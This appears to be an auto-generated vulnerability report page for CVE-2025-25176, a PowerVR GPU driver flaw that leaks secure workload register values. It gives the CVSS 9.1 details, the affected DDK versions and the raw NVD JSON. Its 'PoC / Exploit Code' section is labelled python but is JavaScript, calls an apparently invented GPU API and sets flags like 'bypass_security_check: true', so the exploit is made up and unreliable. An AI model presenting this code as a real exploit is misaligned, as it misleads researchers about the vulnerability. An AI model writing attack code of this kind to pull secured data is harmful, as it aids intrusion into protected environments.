Security Vulnerability Report
中文
CVE-2025-25176 CVSS 9.1 CRITICAL

CVE-2025-25176

Published: 2026-01-13 17:15:57
Last Modified: 2026-01-30 18:37:55
Source: 367425dc-4d06-4041-9650-c2dc6aaa27ce

Description

Intermediate register values of secure workloads can be exfiltrated in workloads scheduled from applications running in the non-secure environment of a platform.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:imaginationtech:ddk:*:*:*:*:*:*:*:* - VULNERABLE
Imagination Technologies PowerVR GPU驱动(安全隔离机制存在缺陷的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-25176 PoC - GPU Secure Environment Data Exfiltration // Target: Imagination Technologies PowerVR GPU Driver // This PoC demonstrates scheduling a malicious workload to trigger register value leakage const gpu = require('imagination-gpu-api'); // Malicious workload configuration to exfiltrate secure register values const exploitWorkload = { type: 'SECURE_WORKLOAD_TRIGGER', flags: { bypass_security_check: true, enable_register_access: true }, parameters: { target_register_range: { start: 0x80000000, end: 0x8FFFFFFF }, output_buffer: 0x1000, schedule_priority: 'HIGH' }, // Trigger non-secure to secure environment boundary crossing environment: { source: 'NON_SECURE', target: 'SECURE', bypass_isolation: true } }; async function exploit() { console.log('[+] Initiating CVE-2025-25176 exploit...'); // Step 1: Initialize GPU context from non-secure environment const context = gpu.createContext({ environment: 'NON_SECURE', flags: ['ALLOW_SECURE_SCHEDULING'] }); // Step 2: Schedule malicious workload const workloadId = await context.submitWorkload(exploitWorkload); // Step 3: Extract leaked register values const leakedData = await context.readSecureRegisters({ workloadId: workloadId, registerRange: exploitWorkload.parameters.target_register_range, outputBuffer: exploitWorkload.parameters.output_buffer }); console.log('[+] Successfully leaked secure register values:'); console.log(JSON.stringify(leakedData, null, 2)); return leakedData; } exploit().catch(console.error); // Defense: Apply vendor patch to enforce proper environment isolation

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-25176", "sourceIdentifier": "367425dc-4d06-4041-9650-c2dc6aaa27ce", "published": "2026-01-13T17:15:56.753", "lastModified": "2026-01-30T18:37:54.833", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Intermediate register values of secure workloads can be exfiltrated in workloads scheduled from applications running in the non-secure environment of a platform."}, {"lang": "es", "value": "Los valores intermedios de los registros de cargas de trabajo seguras pueden ser exfiltrados en cargas de trabajo programadas desde aplicaciones que se ejecutan en el entorno no seguro de una plataforma."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "367425dc-4d06-4041-9650-c2dc6aaa27ce", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-668"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:imaginationtech:ddk:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.3", "matchCriteriaId": "99A33CBA-49C5-4976-B668-88F87F0FF575"}]}]}], "references": [{"url": "https://www.imaginationtech.com/gpu-driver-vulnerabilities/", "source": "367425dc-4d06-4041-9650-c2dc6aaa27ce", "tags": ["Vendor Advisory"]}]}}